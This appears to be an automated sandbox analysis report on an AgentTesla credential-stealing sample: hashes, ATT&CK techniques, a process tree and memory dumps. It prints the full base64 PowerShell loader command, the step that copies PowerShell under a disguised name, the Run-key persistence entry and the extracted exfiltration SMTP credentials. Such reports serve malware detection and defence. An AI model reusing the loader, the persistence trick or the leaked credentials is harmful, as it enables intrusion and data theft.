agenttesla | f7d3563d4e1017ed2f243d4fa74e737c4db433cb6b8a78dcafa7c5cb59c76c49

Analysis

max time kernel
97s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-09-2024 09:42

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General

Target

DOCUMENTS.vbs
Size

964KB
MD5

c7faeee6a7bee0b9c88031c74961933f
SHA1

c830717198c406f108040200cd687e0e9f25fda2
SHA256

f7d3563d4e1017ed2f243d4fa74e737c4db433cb6b8a78dcafa7c5cb59c76c49
SHA512

fbd44171445c00d2a7875d0436a11e691e061b6301ff6391e1eb2a609a89fe89f214bcf28f13c3695dd42cf9aa886910768c20e27db88773bd4129e3b74e5c08
SSDEEP

24576:epGWy6Ik/RrxkoewTxrWKQvrYWE9WrwxFB4gW:mHPet1Em

Score

10^/10

agenttesla credential_access discovery keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.topcats.com
Port:
587
Username:
[email protected]
Password:
SpurS21?
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4000	3996	cmd.exe	83

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1000 created 3420	1000	DOCUMENTS.vbs.exe	55

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1000	DOCUMENTS.vbs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nwjbuywyew = "C:\\Users\\Admin\\AppData\\Roaming\\Nwjbuywyew.vbs"	DOCUMENTS.vbs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1000 set thread context of 4988	1000	DOCUMENTS.vbs.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENTS.vbs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	WScript.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1000	DOCUMENTS.vbs.exe
1000	DOCUMENTS.vbs.exe
1000	DOCUMENTS.vbs.exe
4988	InstallUtil.exe
4988	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	DOCUMENTS.vbs.exe
Token: SeDebugPrivilege	1000	DOCUMENTS.vbs.exe
Token: SeDebugPrivilege	4988	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4988	InstallUtil.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 1000	4252	WScript.exe	89
PID 4252 wrote to memory of 1000	4252	WScript.exe	89
PID 4252 wrote to memory of 1000	4252	WScript.exe	89
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95
PID 1000 wrote to memory of 4988	1000	DOCUMENTS.vbs.exe	95

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3420
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.vbs"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.vbs.exe
    "C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.vbs.exe" -enc JABOAHAAZQBnAHcAYgBpAGQAaABzAGIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAVAB5AHUAbQBpAHIAbQB1AGUAeABwACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQATgBwAGUAZwB3AGIAaQBkAGgAcwBiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEkAYQB3AHcAcQBmAHcAbwBiAGcAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABUAHkAdQBtAGkAcgBtAHUAZQB4AHAALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAE4AaAB5AG4AawB0AGoAcQBiAHgAegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASQBhAHcAdwBxAGYAdwBvAGIAZwBtACAAKQA7ACQATwBzAHYAZgB6AGUAcwB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABDAHAAYgB5AG4AcABuAHYAawB6ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAE4AaAB5AG4AawB0AGoAcQBiAHgAegAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAQwBwAGIAeQBuAHAAbgB2AGsAegAuAEMAbwBwAHkAVABvACgAIAAkAE8AcwB2AGYAegBlAHMAeQAgACkAOwAkAEMAcABiAHkAbgBwAG4AdgBrAHoALgBDAGwAbwBzAGUAKAApADsAJABOAGgAeQBuAGsAdABqAHEAYgB4AHoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABJAGEAdwB3AHEAZgB3AG8AYgBnAG0AIAA9ACAAJABPAHMAdgBmAHoAZQBzAHkALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEkAYQB3AHcAcQBmAHcAbwBiAGcAbQApADsAIAAkAFQAcQBvAGgAbwBqAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoARwBlAHQARABvAG0AYQBpAG4AKAApAC4ATABvAGEAZAAoACQASQBhAHcAdwBxAGYAdwBvAGIAZwBtACkAOwAgACQARABjAGIAagB3ACAAPQAgACQAVABxAG8AaABvAGoAdAAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEQAYwBiAGoAdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQARABjAGIAagB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1000
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4988

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.vbs.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oo0bhm1b.keo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1000-4-0x0000000074C9E000-0x0000000074C9F000-memory.dmp

Filesize
4KB

Download
memory/1000-5-0x0000000002FE0000-0x0000000003016000-memory.dmp

Filesize
216KB

Download
memory/1000-6-0x0000000074C90000-0x0000000075440000-memory.dmp

Filesize
7.7MB

Download
memory/1000-7-0x0000000005BA0000-0x00000000061C8000-memory.dmp

Filesize
6.2MB

Download
memory/1000-8-0x0000000074C90000-0x0000000075440000-memory.dmp

Filesize
7.7MB

Download
memory/1000-9-0x0000000005950000-0x0000000005972000-memory.dmp

Filesize
136KB

Download
memory/1000-10-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Filesize
408KB

Download
memory/1000-11-0x00000000061D0000-0x0000000006236000-memory.dmp

Filesize
408KB

Download
memory/1000-21-0x0000000006530000-0x0000000006884000-memory.dmp

Filesize
3.3MB

Download
memory/1000-22-0x0000000006930000-0x000000000694E000-memory.dmp

Filesize
120KB

Download
memory/1000-23-0x00000000069C0000-0x0000000006A0C000-memory.dmp

Filesize
304KB

Download
memory/1000-24-0x0000000007AE0000-0x0000000007B76000-memory.dmp

Filesize
600KB

Download
memory/1000-25-0x0000000006E50000-0x0000000006E6A000-memory.dmp

Filesize
104KB

Download
memory/1000-26-0x0000000006EA0000-0x0000000006EC2000-memory.dmp

Filesize
136KB

Download
memory/1000-27-0x0000000008130000-0x00000000086D4000-memory.dmp

Filesize
5.6MB

Download
memory/1000-28-0x0000000008D60000-0x00000000093DA000-memory.dmp

Filesize
6.5MB

Download
memory/1000-29-0x0000000007C40000-0x0000000007C54000-memory.dmp

Filesize
80KB

Download
memory/1000-30-0x0000000007FF0000-0x00000000080E0000-memory.dmp

Filesize
960KB

Download
memory/1000-38-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-48-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-88-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-94-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-92-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-90-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-86-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-84-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-82-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-81-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-78-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-76-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-74-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-72-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-70-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-68-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-64-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-62-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-60-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-58-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-56-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-54-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-52-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-46-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-44-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-42-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-40-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-36-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-34-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-67-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-51-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-32-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-31-0x0000000007FF0000-0x00000000080DB000-memory.dmp

Filesize
940KB

Download
memory/1000-1105-0x00000000086E0000-0x000000000874A000-memory.dmp

Filesize
424KB

Download
memory/1000-1106-0x0000000008750000-0x000000000879C000-memory.dmp

Filesize
304KB

Download
memory/1000-1111-0x00000000087F0000-0x0000000008844000-memory.dmp

Filesize
336KB

Download
memory/1000-1114-0x0000000074C90000-0x0000000075440000-memory.dmp

Filesize
7.7MB

Download
memory/4988-1115-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4988-1116-0x0000000006640000-0x0000000006690000-memory.dmp

Filesize
320KB

Download
memory/4988-1117-0x0000000006770000-0x0000000006802000-memory.dmp

Filesize
584KB

Download
memory/4988-1118-0x0000000006740000-0x000000000674A000-memory.dmp

Filesize
40KB

Download